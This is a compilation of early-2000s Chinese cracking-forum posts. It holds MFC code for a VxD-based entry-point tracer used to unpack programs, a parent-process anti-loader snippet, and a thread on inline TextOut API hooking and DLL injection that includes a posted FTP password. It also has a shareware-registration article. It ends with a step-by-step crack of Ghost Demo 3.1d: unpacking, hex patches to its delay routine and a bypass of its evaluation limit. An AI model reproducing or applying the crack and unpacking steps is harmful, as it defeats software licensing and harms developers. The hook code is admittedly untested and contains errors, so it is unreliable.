END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CBw2001Dlg message handlers

BOOL CBw2001Dlg::OnInitDialog()
{
CDialog::OnInitDialog();

// Set the icon for this dialog.  The framework does
  this automatically
//  when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE);
    // Set big icon
SetIcon(m_hIcon, FALSE);        //
  Set small icon

SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOSIZE|SWP_NOMOVE);
m_trace.EnableWindow(true);
m_stop.EnableWindow(false);
m_oep.SetWindowText("00000000");
SetTimer(1, 200, NULL);

return TRUE;  // return TRUE  unless you set the
  focus to a control
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view
  model,
//  this is automatically done for you by the framework.

void CBw2001Dlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for
  painting

SendMessage(WM_ICONERASEBKGND, (WPARAM)
  dc.GetSafeHdc(), 0);

// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) /
  2;
int y = (rect.Height() - cyIcon + 1) /
  2;

// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CBw2001Dlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}

void CBw2001Dlg::OnButton1()
{
static HMODULE hKernel32;
static FARPROC pAddress[3];

hKernel32 = GetModuleHandle("Kernel32.dll");
pAddress[0] = GetProcAddress(hKernel32, "GetVersion");
pAddress[1] = GetProcAddress(hKernel32, "GetModuleHandleA");
pAddress[2] = GetProcAddress(hKernel32, "GetCommandLineA");
if(pAddress[0] == NULL || pAddress[1] == NULL || pAddress[2]
  == NULL)
{
AfxMessageBox("Can't find kernel functions
  to hook.");
return;
}

static char VxDName[] = {"\\\\.\\TraceIT.VXD"};

if(hDevice == INVALID_HANDLE_VALUE)
{
hDevice = CreateFile(VxDName, 0,0,0,
CREATE_NEW, FILE_FLAG_DELETE_ON_CLOSE, 0);

if (hDevice == INVALID_HANDLE_VALUE)
{
AfxMessageBox("Can't
  load TraceIT.vxd");
return;
}
else
{
m_trace.EnableWindow(false);
m_stop.EnableWindow(true);
}
}
m_oep.SetWindowText("00000000");
DeviceIoControl(hDevice, 1, pAddress, 12, NULL, 0, NULL,
  NULL);
}

void CBw2001Dlg::OnButton2()
{
if(hDevice != INVALID_HANDLE_VALUE)
{
DeviceIoControl(hDevice, 2, NULL, 0, NULL,
  0, NULL, NULL);
if(CloseHandle(hDevice))
{
hDevice = INVALID_HANDLE_VALUE;
m_trace.EnableWindow(true);
m_stop.EnableWindow(false);
}
}
}

void CBw2001Dlg::OnCancel()
{

KillTimer(1);
OnButton2();

CDialog::OnCancel();
}

void CBw2001Dlg::OnTimer(UINT nIDEvent)
{
static UINT oldOEP = 0, newOEP = 0;
CString stmp;

if(hDevice != INVALID_HANDLE_VALUE)
{
DeviceIoControl(hDevice, 3, NULL, 0, &newOEP,
  4, NULL, NULL);
if(newOEP != 0 && newOEP != oldOEP)
{
oldOEP = newOEP;
stmp.Format("%08X",
  newOEP);
m_oep.SetWindowText(stmp);
}
}
else
{
oldOEP = newOEP = 0;
}

CDialog::OnTimer(nIDEvent);
}


得到进程的父进程

 标 题:得到进程的父进程的另一种办法 (1千字)
发信人:blowfish
时 间:2001-9-15 23:25:32
详细信息:
上次贴的防止loader的办法中使用了NT中的native API，所以无法在Win9x/ME中使用。

利用Win32提供的ToolHelp API，也可以得到一个进程的父进程的PID。Win9x/ME和Win2K/XP都支持ToolHelp API，但WinNT(3.51, 4.0)却不支持。

#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <stdio.h>

#pragma comment(lib, "psapi")

void DisplayProcessInfo(DWORD pid)
{
printf("PID = %8u ", pid);
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pid);
char FileName[MAX_PATH];
if (hProcess)
{
if (GetModuleFileNameEx(hProcess, NULL, FileName, MAX_PATH))
{
printf("%s\n", FileName);
}
else
{
printf("无法获得进程名\n");
}
CloseHandle (hProcess);
}
else
{
printf("无权访问该进程\n");
}
}

void main(void)
{
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("无法创建进程的快照\n");
return;
}

PROCESSENTRY32 pe32 = {0};
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32))
{
printf("无法获得进程列表\n");
CloseHandle (hProcessSnap); //少了这句
return;
}

do
{
DisplayProcessInfo(pe32.th32ProcessID);
DisplayProcessInfo(pe32.th32ParentProcessID);
printf("\n");

} while (Process32Next(hProcessSnap, &pe32));

CloseHandle (hProcessSnap);
}


金山词霸屏幕取词技术

 标 题:转贴：“金山词霸”屏幕取词技术揭密(讨论稿) (17千字)
发信人:5,555
时 间:2001-11-1 9:30:12
详细信息:
“金山词霸”屏幕取词技术揭密(讨论稿)

主题 　屏幕取词技术系列讲座（一）
作者 　 亦东

很多人对这个问题感兴趣。
原因是这项技术让人感觉很神奇，也很有商业价值。
现在词典市场金山词霸占了绝对优势，所以再做字典也没什么前途了。我就是这么认为的，所以我虽然掌握了这项技术，却没去做字典软件。只做了一个和词霸相似的软件自己用，本来想拿出来做共享软件，但我的词库是“偷”来的，而且词汇不多，所以也就算了，词库太小，只能取词有什么用呢？而且词霸有共享版的。
但既然很多人想了解这项技术，我也不会保留。我准备分多次讲述这项技术的所有细节。
大约每周一两次。想知道的人就常常来看看吧！

一.基础知识
首先想编这种程序需要一些基础知识。
会用Vc++，包括16/32位。
精通Windows API特别是GDI,KERNEL部分。
懂汇编语言，会用softice调试程序，因为这种程序最好用softice调试。

二.基本原理
在Window 3.x时代，windows系统提供的字符输出函数只有很少的几个。
TextOut
ExtTextOut
DrawText
......
其中DrawText最终是用ExtTextOut实现的。

所以Windows的所有字符输出都是由调用TextOut和ExtTextOut实现的。因此，如果你可以修改这两个函数的入口，让程序先调用你自己的一个函数再调用系统的字符输出，你就可以得到Windows所有输出的字符了。

到了Windows95时代，原理基本没变，但是95比3.x要复杂。开始的时候，一些在windows3.x下编写的取词软件仍然可以是使用。但是后来出了个IE4，结果很多词典软件就因为不支持IE4而被淘汰了，但同时也给一些软件创造了机会，如金山词霸。其实IE4的问题并不复杂，只不过它的输出的是unicode字符，是用TextOutW和ExtTextOutW输出的。知道了这一点，只要也截取就可以了。不过实现方法复杂一点，以后会有详细讲解。现在又出了个IE5，结果词霸也不好用了，微软真是#^@#$%$*&^&#@#@..........
我研究后找到了一种解决办法，但还有些问题，有时会取错，正在继续研究，希望大家共同探讨。

另外还有WindowsNT，原理也是一样，只是实现方法和95下完全不同。

三.技术要点
要实现取词，主要要解决以下技术问题。
1.截取API入口，获得API的参数。
2.安全地潜入Windows内部，良好地兼容Windows的各个版本
3.计算鼠标所在的单词和字母。
4.如果你在Window95下，做32位程序，还涉及Windows32/16混合编程的技术。

今天先到这里吧！最好准备一份softice for 95/98和金山词霸，让我们先来分析一下别人是怎么做的。

欢迎与我联系
E-Mail:yeedong@163.net

Guest 　1999-04-30 16:00:48
请问用VC自己的DEBUGGER不行吗?为什么要用SOFTICE? 我没用过SOFTICE,它有什么特别之处吗?

葫芦 　1999-04-30 19:15:03
本人对这个问题也有兴趣，以前研究过16位版本截获TextOut和ExtTextOut的过程；

但对金山词霸，用Softice跟踪，发现SetWindowsHookEx在程序装载时就安装了鼠标钩子，暂停取字/恢复取字只是设置的内部变量，但本人发现金山词霸并没有象16位版本那样修改TextOut和ExtTextOut。

苍蝇 (555021552) 　1999-05-02 08:56:57
有哪位大虾愿意先介绍一下SOFTICE？

蟑螂 　1999-05-04 13:58:22
把金山词霸的cjktl95.dll用tdump分析可以看到它根本用的不是hook，而是用了一些kernel32.dll中的Win32 SDK里没有包含的函数，使用这些函数来替换改写原先的几个GDI函数。看来是Win95未公开的一些东西。有些人知道，为什么不肯说出来呢？未必见得多么高深！

葫芦 　1999-05-05 23:28:07
你可能没有研究过它的目标代码，怎么能断言没有使用hook呢？ 其实金山词霸一运行就安装了鼠标钩子。

亦东 　1999-05-07 09:52:42
未必见得多么高深？
你知道有些人是怎么知道这些Win95未公开的东西的吗？你不会是以为微软偷偷告诉他们的吧？其实他们大多和我一样是用softice自己跟踪Win95跟出来的。

还有你从cjktl95.dll里tdump出的未公开函数和hook无关，那是做别的用的。
setwindowshook在user里

亦东 　1999-05-10 16:16:14
从cjktl95.dll里tdump出的未公开函数和32位和16位之间的互调有关。

主题 　屏幕取词技术系列讲座（二）
作者 　 亦东

很抱歉让大家久等了！
我看了一些人的回帖，发现很多人对取词的原理还是不太清楚。
首先我来解释一下hook问题。词霸中的确用到了hook，而且他用了两种hook其中一种是Windows标准hook,通过SetWindowHook安装一个回调函数，它安装了一个鼠标hook，是为了可以及时响应鼠标的消息用的和取词没太大关系。
另一种钩子是API钩子，这才是取词的核心技术所在。他在TextOut等函数的开头写了一个jmp语句，跳转到自己的代码里。
你用softice看不到这个跳转语句是因为它只在取词的一瞬间才存在，平时是没有的。
你可以在TextOut开头设一个读写断点
bpm textout
再取词，就会找到词霸用来写钩子的代码了。

/**********************************
所以我在次强调，想学这种技术一定要懂汇编语言和熟练使用softice.
**********************************/

至于从cjktl95中dump出来的未公开函数是和Windows32/16混合编程有关的，以后我会提到他们。

我先来讲述取词的过程，

0 判断鼠标是否在一个地方停留了一段时间
1 取得鼠标当前位置
2 以鼠标位置为中心生成一个矩形
3 挂上API钩子
4 让这个矩形产生重画消息
5 在钩子里等输出字符
6 计算鼠标在哪个单词上面，把这个单词保存下来
7 如果得到单词则摘掉API钩子，在一段时间后，无论是否得到单词都摘掉API钩子
8 用单词查词库，显示解释框。

很多步骤实现起来都有一些难度，所以在中国可以做一个完善的取词词典的人屈指可数。

其中0,1,2,7,8比较简单就不提了。

先说如何挂钩子：
所谓钩子其实就是在WindowsAPI入口写一个JMP XXXX:XXXX语句，跳转到自己的代码里。

步骤如下：
1.取得Windows API入口，用GetProcAddress实现
2.保存API入口的前五个字节，因为JMP是0xEA，地址是4个字节
3.写入跳转语句
这步最复杂
Windows的代码段本来是不可以写的，但是Microsoft给自己留了个后门。
有一个未公开函数是AllocCsToDsAlias，
UINT WINAPI ALLOCCSTODSALIAS(UINT);
你可以取到这个函数的入口，把API的代码段的选择符（要是不知道什么是选择符，就先去学学保护模式编程吧）传给他，他会返回一个可写的数据段选择符。这个选择符用完要释放的。用新选择符和API入口的偏移量合成一个指针就可以写windows的代码段了。

这就是取词技术的最核心的东东，不止取词，连外挂中文平台全屏汉化都是使用的这种技术。现在知道为什么这么简单的几句话却很少知道了吧？因为太多的产品使用他，太多的公司靠他赚钱了。
这些公司和产品有：中文之星，四通利方，南极星，金山词霸，实达铭泰的东方快车，roboword，译典通,即时汉化专家等等等等。。。。还有至少20多家小公司。他们的具体实现虽然不同，但大致原理是相同的。

我这些都是随手写的，也没有提纲之类的东西，以后如果有机会我会整理一下，大家先凑合着看吧！xixi...

葫芦 　1999-05-06 14:52:30
你说的这个技术是16位的,至少金山词霸III没有采用16位的AllocCsToDsAlias函数,也根本没有修改TextOut开始的语句为JMP XXXXXXXX。softice本人非常精通，是绝对不会错的！

葫芦 　1999-05-06 15:38:40
谁假冒吾名，坏吾名声？！本人在此郑重宣布，以上贴子非本人所发！
经过跟踪分析，金山词霸III确实修改了TextOut的入口为转跳到自身代码的JMP XXXXXXXX语句，只是修改没有调用AllocCsToDsAlias，也不是在取字时才去修改，而是常常修改（估计是在Timer中进行的）。

亦东 　1999-05-06 17:25:23
我说过词霸里用AllocCsToDsAlias了吗？
我是说AllocCsToDsAlias，的确可以用，但词霸里是用DPMI的Int 31做的，其实本质是一样的，你用softice跟一下就知道了
bpint 31 设一个中断断点。

实际上我至少有五种方法写Windows代码段
我介绍使用AllocCsToDsAlias是因为这种方法最简单，其他方法要麻烦得多。
词霸用int 31来做是出于兼容性的考虑，
AllocCsToDsAlias毕竟不是公开函数，但DPMI却是标准。

词霸在你鼠标在某一点停留超过200ms时就会取词，所以他有一个定时器，会经常修改API入口。

看来“假”葫芦只是自以为非常精通softice.

mao 　1999-05-06 19:29:28
在微软的MSDN中有一个程序，包含了全部的Source code, 名字好象叫"Inject" 或 stealth什么的，忘了。提供了一个很完善的hook任何一个windows函数的功能。对win16完全适用，在win95下也有用，但NT下不行。

建议大家去找找这个例子看看会很有帮助。

此外有本清华出的微软的Advanced Windows也介绍了具体的方法。

建议亦东干脆把source code给open出来，让有兴趣的朋友用起来更方便，把取词技术可发展的应用发扬光大!

亦东 　1999-05-07 09:40:56
我不主张“把取词技术可发展的应用发扬光大”，这也是我掌握了这项技术一年多才公开它的原因。我公开它并不是想让大家都来做字典软件，相反我希望不要再有人做字典了，现在做字典的人已经太多了。看到某种软件有利可图，大家就一哄而上，这种恶性竞争对中国软件业的发展是极其有害的。我公开他的目的是希望提高大家的编程水平。你会发现在研究这项技术的过程中你的编程水平和对Windows的理解程度会有质的飞跃，我本人就从中获益匪浅。

MSDN中是有这样的代码。
甚至有一个叫ProcHook.Dll，提供SetProcAddress之类的函数，但是没有源码。源码在1994年的 MSJ 上很难弄到的。
源码我会分几次公开，每次会有详细的说明。

想要源码的人，准备一份VC++1.52或Borland C++，最好还有softice，下次我会给出一段代码，教你如何修改Windows的代码。

老冒 (555036) 　1999-05-07 11:56:46
如果认为屏幕取词的应用就是做字典，就大错特错了。其实关于拦劫windows api的东东早就在93年的Undocument Windows上公开过了。

其实Adobe的Adobe Type Manager在Windows 3.0的时代就通过这种办法实现了漂亮的字体. (现在有TTF不需要ATM了)

MSDN上的那个东东是有全部source和sample, 我抓下来编译过。是1996年夏天的一张MSDN Level 2光碟上的，现在也不知搁哪里了，有兴趣的朋友自己找去吧。

还是open 完整的source好，很多朋友其实只要用这项技术，并不太想知道细节，不是吗.

亦东 　1999-05-07 13:28:19
这种技术不是做字典全屏汉化就是外挂语言平台，自从王志东使用它以来，就没用来编过其他软件，也许有但我不知道。

原来有那么多书和其他资料上都有这种技术的资料还有例子，到是我孤陋寡闻了，以为大家都不知道，在这里给大家讲一些众所周知的东西。回去我要好好研究一下，看看Rasir Dex的词霸是从那里抄的。

我不知道某项技术中细节是不是重要，如果很多人只想用而不想自己编，那么楼下那50多个回帖是怎么回是？

老冒 　1999-05-07 13:54:18
呵呵，你可千万要坚持把讲座做下去，否则那50多个回应的哥们企不要把我给痛扁了...:)

俺已两年多不碰底层技术的,这方面很落后啦...俺可应付不了这么多热切的求知朋友，亦东要顶住呵!

欢迎和俺多多交流探导!

P.S. 亦东大侠目前何方高就？ 正在忙什么项目？交流交流

亦东 　1999-05-07 17:46:06
没什么正经事做，到处瞎混呢！

葫芦 　1999-05-08 21:50:29
我对此持否定观点，不要自作聪明，以为AllocCsToDsAlias就是能用的，其实AllocCsToDsAlias只是16位的Windows用的函数，32位的Win95程序不能使用此函数，不信你在VC 5.0或6.0中可以试试。
另外，int 31h也不是说能用就能拿来用的，在Windows 3.x下使用是没有问题的（本人还有这方面的文章发表），但在Win95下随意使用会产生GP错，主要原因是32位并不支持DPMI直接调用，不知亦东先生对此有没有研究，就在此发表诸多理论!本人就先请问：32位程序如何调用16位函数或动态库你懂不懂？

葫芦 　1999-05-09 02:39:10
上面的这个帖子并没有攻击谁的意思，只是希望大家探讨问题都要本着认真的态度，不要不懂装懂，至少有一点大家要清楚：32位的程序根本不能使用 int 31h，调用16位的动态库Kernel中的AllocCsToDsAlias也并不是件简单的事。

nn_zdm (555031742) 　1999-05-09 16:35:35
使用hook函数，可用的功能并非只是做字典全屏汉化和外挂语言平台。使用hook可以调试程序，就象你们说的softice其本身也是使用了hook函数。

nn_zdm (555031742) 　1999-05-09 16:42:05
另外hook函数还可以使用在游戏修改工具中，本人就开发过此类工具。《整人专家》估计也是使用这种方法。当然还有另外两种方法。

亦东 　1999-05-10 16:10:59
你们说的都有道理。
但hook有两种，一种是Windows标准钩子，通过SetWindowshook挂。
另一种是非标准的，通过在API入口写JMP XXXXXXXX来实现的。
softice的钩子更高级，他都挂到VXD上了。
从32为代码调用16位DLL碰巧我会。

打倒米D国主义！！！

瓜果 　1999-05-10 17:07:00
谁知道在哪能搞到SOFTICE，我以前从未用过它！

葫芦 　1999-05-10 21:39:46
愿继续拜读你以后的讲座。

SOFTICE吗？光盘上很多，有for DOS, for Windows95, for Windows NT 各个版本。

孙玮 (555031339) 　1999-05-11 11:08:35
能否将 si for NT 上传到 10.82.46.33
(使用 ftp) user: haotao
pass: haotao123

tommy 　1999-05-11 11:34:11
http://www.swww.com.cn/htm/down/others/main.html 可以下载

亦东 　1999-05-11 14:01:19
最近忙于反美，暂时没时间再写了，过些时间才行，下次我会给出源码。
最新消息，美国海军被黑了。
http://www.nctsw.navy.mil/

打倒米D国主义！！！

黄金狮子 　1999-05-12 13:19:32
我对各位大虾的讨论深感兴趣。

有几个问题想请教：
1.AllocCsToDsAlias 在32-bit下调用是否采用Thunk?

2.32-bit 下是否有类似function?

3.Jeffrey Richter的"Advanced Windows"里Remote Thread 的Thread Stack来远程注入DLL函数，因此不需上述Function.

4.我有MSJ 1994-1的ProcHook.dll的source code,不知用于WinNT需如何改动.

5.总而言之，有无WinNT下hook API的source code,请告知.

(我还有Softice 3.24 for Win95, 3.25 for WinNT.)

--这个主题很好

鼹鼠 　1999-05-14 09:41:20
请大虾给我发一份MSJ 1994-1的ProcHool.dll的source code, 我现在急需这方面的资料。谢谢！！

Email Address: yanshg@263.net

下面是一个Australia人的API hook软件，　它是基于VxD技术。
Molten　Home Page:
http://ourworld.compuserve.com/homepages/molten

黄金狮子 　1999-05-14 14:34:54
在Win95和NT上，可通过WriteProcessMemory()直接写Code Segment.(原来以为"advanced Windows" 调CreateRemoteThread(),是因为WriteProcessMemory()只能写代码段和堆栈段)

阿涛 　1999-05-14 19:45:05
如何亦东老兄要分步公布是PROCHOOK的代码就不必了，这个程序的代码很容易搞到，只须到MSJ的站点上查一下就可找到。

亦东 　1999-05-14 21:44:39
大家到msj的大海里去捞针好了。

在95你WriteProcessMemory 写kernel user gdi试试，一定失败。

调CreateRemoteThread并不是为了写代码段，有别的用途，是为了在其他进程里分配内存。回去再好好看看“advanced Windows" 最好用一个程序试试，你就明白了。

其实在NT4.0调CreateRemoteThread是没必要的，这是为了兼容NT3.51.

nn_zdm (555031742) 　1999-05-18 13:57:48
利用CreateRemoteThread()函数,在WinNT4.0中使用很有用,它是在winNT中闯过进程边界的三种办法之一,在WinNT中,使用它可以进行远程调试,及修改他人代码.

nn_zdm (555031742) 　1999-05-18 14:07:17
在winNT中用WriteProcessMemory()写code
代码是可以的,win95没试过,但MSDN上说是可以的.不过,可能没什么用,因为CreateRemoteThread()函数只在winNT中有用.
如:
WriteProcessMemory(...,"LoadLibrary(...,"mydll.dll",..).
CreateRemoteThread(...)

nn_zdm (555031742) 　1999-05-18 14:14:19
上面写漏了,应是
WriteProcessMemory(...,"LoadLibrary(...,"mydll.dll",..). ");
CreateRemoteThread(...) ;

主题 　关于屏幕取词的讨论(三)
作者 　 亦东

让大家久等，很抱歉，前些时候工作忙硬盘又坏了，太不幸了。

这回来点真格的。

咱们以截取TextOut为例。

下面是代码：

//截取TextOut

typedef UINT (WINAPI* ALLOCCSTODSALIAS)(UINT);

ALLOCCSTODSALIAS AllocCsToDsAlias;

BYTE NewValue[5];//保存新的入口代码
BYTE OldValue[5];//API原来的入口代码
unsigned char * Address=NULL;//可写的API入口地址
UINT DsSelector=NULL;//指向API入口的可写的选择符
WORD OffSetEntry=NULL;//API的偏移量

BOOL bHookAlready = FALSE; //是否挂钩子的标志

BOOL InitHook()
{
HMODULE hKernel,hGdi;
hKernel = GetModuleHandle("Kernel");
if(hKernel==NULL)
return FALSE;

AllocCsToDsAlias = (ALLOCCSTODSALIAS)GetProcAddress(hKernel,"AllocCsToDsAlias");//这是未公开的API所以要这样取地址
if(AllocCsToDsAlias==NULL)
return FALSE;

hGdi = GetModuleHandle("Gdi");
if(hmGdi==NULL)
return FALSE;

FARPROC Entry = GetProcAddress(hGdi,"TextOut");
if(Entry==NULL)
return FALSE;

OffSetEntry = (WORD)(FP_OFF(Entry));//取得API代码段的选择符
DsSelector = AllocCsToDsAlias(FP_SEG(Entry));//分配一个等同的可写的选择符
Address = (unsigned char*)MK_FP(DsSelector,OffSetEntry);//合成地址

NewValue[0]=0xEA;
*((DWORD*)(NewValue+1)) = (DWORD)MyTextOut;

OldValue[0]=Address[0];
*((DWORD*)(OldValue+1)) = *((DWORD*)(Address+1));
}

BOOL ClearHook()
{
if(bHookAlready)
HookOff();

FreeSelector(DsSelector);
}

BOOL HookOn()
{
if(!bHookAlready){
for(int i=0;i<5;i++){
Address[i]=NewValue[i];
}
bHookAlready=TRUE;
}
}

BOOL HookOff()
{
if(bHookAlready){
for(int i=0;i<5;i++){
Address[i]=OldValue[i];
}
bHookAlready=FALSE;
}
}

//钩子函数，一定要和API有相同的参数和声明
BOOL WINAPI MyTextOut(HDC hdc,int nXStart,int nYStart,LPCSTR lpszString,UINT cbString)
{
BOOL ret;
HookOff();
ret = TextOut(hdc,nXStart,nYStart,lpszString,cbString);//调原来的TextOut
HookOn();
return ret;
}

上面的代码是一个最简单的挂API钩子的例子，我要提醒大家的是，这段代码是我凭记忆写的，我以前的代码丢了，我没有编译测试过
因为我没有VC++1.52.所以代码可能会有错。

建议使用Borland c++，按16位编译。
如果用VC++1.52，则要改个选项

在VC++1.52的Option里，有个内存模式的设置，选大模式，和"DS!=SS DS Load on Function entry.",切记，否则会系统崩溃。

有什么不明白的可以给我写信
yeedong@163.net

Guest 　1999-05-21 22:20:47
你这是16为的地址存取模式吧
你看这个MK_FP,win32不用了，
而且GetProcAddress(hKernel,"AllocCsToDsAlias")
这个API有用吗？
sorry

Guest 　1999-05-21 22:31:47
亦东，想请教一个问题，
win32下，每个process有
自己的地址空间，process
A得到process B 的一个窗口C的handle,这个
handle的值 等于process B自己得到的window C 的handle值 吗？
我想应该不相等，但系统是如何转换的呢？(比如process A 向
window C 发消息，系统如何
知道process A 里的handle 和process B 里的
handle 都是指的window C)
. 是不是用duplicatehandle()?
（声明，我是真的不知道


利用硬件信息实现共享软件的安全注册

 标 题:利用硬件信息实现共享软件的安全注册 (4千字)
时 间:2001-9-12 0:20:46
详细信息:
利用硬件信息实现共享软件的安全注册

信息产业部电子第二十二研究所青岛分所 郎锐
01-9-10 下午 12:50:48

--------------------------------------------------------------------------------

一、 引言

在网络相当发达的今天，一大批优秀的软件涌现在互联网上，我们可以根据需要随意的下载、使用。这些软件有一部分是免费的，用户可以在免费的前提下无限期、不受限制的使用。但也有为数众多的共享软件是需要用户注册的，用户可以免费使用一段时间，超过期限之后如果还未注册，那么将不能继续使用软件或是一些先进的、常用的功能将无法正常使用。只有用户在完成注册或交纳一定的费用得到开发者反馈回的注册码之后方可正常使用。但现有的许多注册方式是存在漏洞的，现在不少破解网站通过正常渠道购买回一个注册码之后将其公布在其网站之上，更有甚者还提供有用于产成注册码的注册机。以上的种种行为侵犯了软件开发者的知识产权，干扰了共享软件的正常发布。虽然国家也有保护知识产权的相关法律条文，但显然在执行起来存在一定的难度，比如针对本文前面所述情况单是取证就相当困难。因此作为程序员的软件开发者应当具有自我保护意识，利用自己的专业特长，通过程序控制来确保自己的每一个注册码只针对于一个软件拷贝。本文将根据笔者的实际编程经验，对一种结合物理硬件信息的安全注册方法的实现过程进行较全面的介绍。

二、 注册源的采集

为了确保注册码的唯一性，在注册源的采集上应当尽量选取一些唯一的、不易复制的软、硬件信息作为原始信息。而硬件由于其不可复制性和物理唯一性成为了我们的首选目标，而且多数计算机配件在出厂时都有一个唯一的标识号，我们可以将其作为识别的依据。符合上述条件的标识号大致有硬盘的序列号、网卡的序列号、BIOS中的主版序列号或主机出厂日期和标志等几种，考虑到硬件通用性、实现起来的难易程度以及系统安全性等多种因素以硬盘序列号为佳，因为网卡随说唯一性最好但不能保证每台计算机都装有网卡，而ROM BIOS中F000H-FFFFH区域虽存有与硬件配置有关的信息、F000H:FFF5H-F000H:FFFFH存有主机出厂日期和主机标志值等参数，但在Windows 9x的保护模式下编程实现是比较困难的。虽然在Windows 9x保护模式下对硬盘序列号也不能按通常在DOS模式下的通过硬盘端口1F6H和1F7H直接读取，但Windows API函数中提供的下面这个函数可以非常简单的获取到指定磁盘驱动器的序列号：

GetVolumeInformation("C:\\",NULL,NULL,&dwIDESerial,NULL,NULL,NULL,NULL);

第一个参数设为"C:\\"表示我们要读取C盘驱动器的序列号。之所以选C盘，是因为我们不能保证用户有多个分区，而C盘却是每一个用户都具有的。该函数成功调用完毕后，在DWORD型的变量dwIDESerial中就存储了获取到的32位长的磁盘序列号。注册信息采集到后，关键的问题就是如何让用户将其返回给开发者。一种较简单的方法是把采集到的硬盘序列号与用户输入的注册名经过位操作的简单加密后存放到一个文本中通过邮件传送给开发者。

三、 注册机的设计

开发人员得到从用户返回的由硬盘序列号构成的注册原始信息后就要利用注册机生成注册码并反馈给用户。一般来说，注册机要利用既定的位操作和不可逆算法，生成用户比较容易操作的字符串注册码。在用户方面的共享软件里也应有一个具有相同算法的注册机用以动态计算以当前注册名进行注册的正确的注册码，然后对用户输入的注册码进行检验，如果不匹配则不予注册。如果是从开发者反馈来的正确注册码，则通过标记配置文件或是往注册表中写入特定内容的键值以表明当前软件是经过注册的。而且共享软件在每次运行时都要对用户注册码进行实时检测与判断，这样才能实现注册限制功能。如果应用程序被拷贝到其他计算机上则会由于硬盘序列号的改变而导致注册信息的不匹配，因此仍然需要重新注册，从而达到共享软件的发布目的。下面就是一段非常简单的注册机实现代码：

开发者方：
//strSerial是由用户返回的同注册名进行过位运算的注册源信息
::strcpy(buf1,strSerial);
::strcpy(buf2,strName);
//再次进行位运算，取得硬盘序列号
for(int I=0;I<8;I++)
input[I]=buf1[I]^buf2[I];
//错序与位操作，产生与注册名有关的注册码
int Index[8]={7,5,3,1,6,4,2,0};
char Mask[8]={'Z','H','U','C','E','J','I','0'};
for(I=0;I<8;I++)
{
result[I]=input[Index[I]]^buf2[I];
result[I]=result[I]^Mask[I];
}
……

用户方：
//根据输入的字串计算出硬盘序列号
int Index[8]={7,5,3,1,6,4,2,0};
char Mask[8]={'Z','H','U','C','E','J','I','0'};
for(int I=0;I<8;I++)
{
input[I]=input[I]^buf2[I];
ouput[Index[I]]=input[I]^Mask[I];
}
dwSerialID=::atoll(output);//将序列号恢复成数值
//动态提取硬盘序列号
GetVolumeInformation("C:\\",NULL,NULL,&dwIDESerial,NULL,NULL,NULL,NULL);
If(dwSerialID==dwIDESerial)
{
……//注册成功
}
else
{
……//注册失败
}

以上两段代码仅用于举例说明实现的方法，并未进行复杂的逻辑运算，在实际应用中应视共享软件的自身价值、软件实现的复杂程度等多种因素来决定采取多大的加密深度。即使对于一般的注册机也应加以2层以上的函数逻辑运算。对于共享软件，不管其实现何种功能，最好采取在线注册的方式，而且在同一个软件系统中应有若干个注册入口，只要一处注册成功整个软件就算注册成功了。为了清晰的了解整个注册过程，流程图可以大致如下，并可根据具体做适当的调整：

小结：本文主要对共享软件的安全注册进行了讨论。为了更方便、安全地实现对共享软件的注册可以大致遵循这样几个原则：选准注册源、经常变动注册算法、加密注册码、管理好注册机防止外流、采用在线式的注册方法。以上所述基本是笔者自己的实际经验总结，由于能力有限，难免有所疏漏，应在具体编程中不断对其加以改进完善。本文所引程序在Windows 98下由Microsoft Visual C++ 6.0编译通过。


Ghost Demo (3.1d)

 标 题:dos就下的log用法 (7千字)
发信人:peterchen
时 间:2001-10-9 12:24:25
详细信息:
原作者：不明
翻译者：PeterChen
破解对像：Ghost Demo (3.1d)
神兵利器：TR[Dos版]
软件介绍：系统硬件初始化，现在就是用来Back[备份]系统！
---------------------
1. 第一步脱壳:

TR ghost.exe ;TR加载ghost.exe
getknl ;到达kernel
;等待一会儿
mkexe ghost.exe ;生成mem.exe文件

你可以测试一下，脱壳文件Mem.exe。
---------------------
2. 第二步破解15秒限制：
TR mem.exe ;再一次加载mem.exe
g ;退出TR界面

当“等待15分钟”之后，压Ctrl+D。然后再出现TR的界面，
再压<F10>去看什么样循环。[也就是找出循环内容加以分析]
很容易就找到延迟Proc_199f:
汇编： 偏移：代码：
PUSHF ;3304:199F 9C
CLI ;3304:19A0 FA
MOV AL,00 ;3304:19A1 B000
OUT 43,AL ;3304:19A3 E643 <---
CALL 199E ;3304:19A5 E8F6FF
IN AL,40 ;3304:19A8 E440
MOV BL,AL ;3304:19AA 8AD8
CALL 199E ;3304:19AC E8EFFF
IN AL,40 ;3304:19AF E440
MOV BH,AL ;3304:19B1 8AF8
NOT BX ;3304:19B3 F7D3
POPF ;3304:19B5 9D
MOV AX,BX ;3304:19B6 8BC3
RET ;3304:19B8 C3

修改：

a 199f ;汇编内容
MOV AX,SI ;3304:199F 8BC6
DEC AX ;3304:19A1 48
RET ;3304:19A2 C3

用十六进制工具修改Mem.exe:

搜索 : 9c fa b0 00 46<-- 43
修改 : 8b c6 48 c3
本文有误：e6原作者写成了46!
---------------------
3. 破解评估限制：

TR MEM.exe
G ;退出

当"Connection type"(可能是当退出TR,不久快快)界面出来之时，
压 <Ctrl+D>，
和按 <Enter>，又返回TR领域。

Logpro 1 ;log it [log是写日志]
g

当Ghost执行完，就会生成'logpro.dat'文件

Lopro ;在Dos会提示

它会读取'logpro.dat'而且生成'logpro.txt'。

Ren logpro.txt log1.txt ;重名保存
date
10-22-98 ;产生最近时间
TR mem.exe
g
